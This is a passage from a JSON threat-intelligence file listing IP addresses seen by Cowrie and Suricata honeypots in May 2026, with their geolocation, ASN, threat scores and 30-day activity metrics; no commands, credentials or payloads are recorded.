      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.238.141.182": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:45:50.318Z",
      "last_seen": "2026-05-08T03:47:50.341Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Zealand",
      "country_code": "NZ",
      "city": "New Plymouth",
      "asn": 4771,
      "as_org": "Spark New Zealand Trading Ltd.",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:21:44.953000+00:00",
        "last_seen_30d": "2026-05-08T03:58:28.275000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "128.201.116.243": {
      "attack_count": 2,
      "first_seen": "2026-05-26T10:43:26.156Z",
      "last_seen": "2026-05-26T10:43:38.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Molina",
      "asn": 265743,
      "as_org": "COMERCIAL WASHINGTON ERNESTO OYARCE SAZO E.I.R.L. SENALMAX",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T10:43:26.156000+00:00",
        "last_seen_30d": "2026-05-26T10:44:45.344000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.0.44.46": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:24:31.171Z",
      "last_seen": "2026-05-02T00:24:44.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Saquarema",
      "asn": 262369,
      "as_org": "ok virtual provedor de internet ltda",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:24:31.171000+00:00",
        "last_seen_30d": "2026-05-02T00:25:53.698000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "158.181.46.21": {
      "attack_count": 2,
      "first_seen": "2026-05-09T06:29:08.208Z",
      "last_seen": "2026-05-09T06:29:23.289Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Yevlakh",
      "asn": 8814,
      "as_org": "Aztelekom LLC",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:29:08.208000+00:00",
        "last_seen_30d": "2026-05-09T06:30:32.371000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.103.87.167": {
      "attack_count": 2,
      "first_seen": "2026-05-05T19:29:50.698Z",
      "last_seen": "2026-05-05T19:30:03.748Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 7470,
      "as_org": "TRUE INTERNET Co.,Ltd.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:29:50.698000+00:00",
        "last_seen_30d": "2026-05-05T19:31:08.137000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.224.220": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:31:24.544Z",
      "last_seen": "2026-05-19T06:31:37.778Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:31:24.544000+00:00",
        "last_seen_30d": "2026-05-19T06:32:40.204000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "174.20.212.61": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:09:51.362Z",
      "last_seen": "2026-05-12T19:11:51.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 209,
      "as_org": "CenturyLink Communications, LLC",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:09:51.362000+00:00",
        "last_seen_30d": "2026-05-12T19:22:36.200000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "176.116.175.193": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:23:45.203Z",
      "last_seen": "2026-05-22T23:23:57.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Krasnoyarsk",
      "asn": 31257,
      "as_org": "Orion Telecom LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:23:45.203000+00:00",
        "last_seen_30d": "2026-05-22T23:25:02.737000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.139.174": {
      "attack_count": 2,
      "first_seen": "2026-05-11T21:39:15.110Z",
      "last_seen": "2026-05-11T21:41:15.113Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T00:27:25.296000+00:00",
        "last_seen_30d": "2026-05-26T03:11:37.038000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Adbhoney": 22,
        "Cowrie": 2
      }
    },
    "177.131.19.62": {
      "attack_count": 2,
      "first_seen": "2026-05-16T21:00:55.513Z",
      "last_seen": "2026-05-16T21:01:08.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Macap\u00e1",
      "asn": 262378,
      "as_org": "Compuservice Empreendimentos Ltda",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T21:00:55.513000+00:00",
        "last_seen_30d": "2026-05-16T21:02:15.510000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.227.84.74": {
      "attack_count": 2,
      "first_seen": "2026-05-13T23:33:10.707Z",
      "last_seen": "2026-05-13T23:33:24.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "La Paz",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T23:33:10.707000+00:00",
        "last_seen_30d": "2026-05-13T23:34:32.809000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.45.3.55": {
      "attack_count": 2,
      "first_seen": "2026-05-30T18:45:14.974Z",
      "last_seen": "2026-05-30T18:45:27.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santo Andr\u00e9",
      "asn": 19182,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T18:45:14.974000+00:00",
        "last_seen_30d": "2026-05-30T18:46:28.520000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.176.128.4": {
      "attack_count": 2,
      "first_seen": "2026-05-15T03:49:30.834Z",
      "last_seen": "2026-05-15T03:49:44.400Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhongzheng",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:49:30.834000+00:00",
        "last_seen_30d": "2026-05-15T03:51:21.813000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.17.170.96": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:47:31.932Z",
      "last_seen": "2026-05-23T10:47:44.749Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:47:31.932000+00:00",
        "last_seen_30d": "2026-05-23T10:48:49.838000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.92.92.149": {
      "attack_count": 2,
      "first_seen": "2026-05-13T14:35:12.440Z",
      "last_seen": "2026-05-13T14:35:12.441Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:35:12.440000+00:00",
        "last_seen_30d": "2026-05-13T14:36:21.929000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.155.36.177": {
      "attack_count": 2,
      "first_seen": "2026-05-26T13:03:05.009Z",
      "last_seen": "2026-05-26T13:03:17.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T13:03:05.009000+00:00",
        "last_seen_30d": "2026-05-26T13:04:18.869000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.159.224.238": {
      "attack_count": 2,
      "first_seen": "2026-05-08T02:37:43.917Z",
      "last_seen": "2026-05-08T02:37:57.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:37:43.917000+00:00",
        "last_seen_30d": "2026-05-08T02:39:03.635000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.123.151.110": {
      "attack_count": 2,
      "first_seen": "2026-05-20T02:08:18.294Z",
      "last_seen": "2026-05-20T02:08:34.574Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Rosario",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:08:18.294000+00:00",
        "last_seen_30d": "2026-05-20T02:09:40.402000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.102.181.222": {
      "attack_count": 2,
      "first_seen": "2026-05-14T09:20:43.120Z",
      "last_seen": "2026-05-14T09:21:14.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 17222,
      "as_org": "MUNDIVOX DO BRASIL LTDA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:20:43.120000+00:00",
        "last_seen_30d": "2026-05-14T09:22:17.966000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.123.77.89": {
      "attack_count": 2,
      "first_seen": "2026-05-24T02:48:10.515Z",
      "last_seen": "2026-05-24T02:50:10.548Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Monte Cristo",
      "asn": 271808,
      "as_org": "MONTECRISTI CABLE VISION, SRL",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:48:10.515000+00:00",
        "last_seen_30d": "2026-05-24T03:01:09.959000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.134.196.209": {
      "attack_count": 2,
      "first_seen": "2026-05-10T00:48:49.170Z",
      "last_seen": "2026-05-10T00:49:02.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Punta del Este",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T00:48:49.170000+00:00",
        "last_seen_30d": "2026-05-10T00:50:03.957000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.140.59.79": {
      "attack_count": 2,
      "first_seen": "2026-05-09T22:29:48.474Z",
      "last_seen": "2026-05-09T22:30:00.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:29:48.474000+00:00",
        "last_seen_30d": "2026-05-09T22:31:07.740000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.254.171.160": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:29:24.878Z",
      "last_seen": "2026-05-07T01:29:40.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:29:24.878000+00:00",
        "last_seen_30d": "2026-05-07T01:30:49.168000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "217.16.87.112": {
      "attack_count": 2,
      "first_seen": "2026-05-06T02:09:23.365Z",
      "last_seen": "2026-05-06T02:11:23.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 16333,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:09:23.365000+00:00",
        "last_seen_30d": "2026-05-06T02:12:29.932000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "217.28.132.36": {
      "attack_count": 2,
      "first_seen": "2026-05-22T06:47:59.568Z",
      "last_seen": "2026-05-22T06:49:59.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 196695,
      "as_org": "NetOne Rus JSC",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:47:59.568000+00:00",
        "last_seen_30d": "2026-05-22T07:00:00.579000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.151.75.27": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:01:27.251Z",
      "last_seen": "2026-05-23T09:01:41.106Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:01:27.251000+00:00",
        "last_seen_30d": "2026-05-23T09:02:47.797000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.190.86.180": {
      "attack_count": 2,
      "first_seen": "2026-05-09T17:11:43.679Z",
      "last_seen": "2026-05-09T17:11:56.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:11:43.679000+00:00",
        "last_seen_30d": "2026-05-09T17:13:02.772000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.28.43.52": {
      "attack_count": 2,
      "first_seen": "2026-05-21T17:15:49.972Z",
      "last_seen": "2026-05-21T17:16:03.099Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:15:49.972000+00:00",
        "last_seen_30d": "2026-05-21T17:17:11.152000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.7.38.156": {
      "attack_count": 2,
      "first_seen": "2026-05-10T04:38:40.304Z",
      "last_seen": "2026-05-10T04:38:53.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Antalya",
      "asn": 7768,
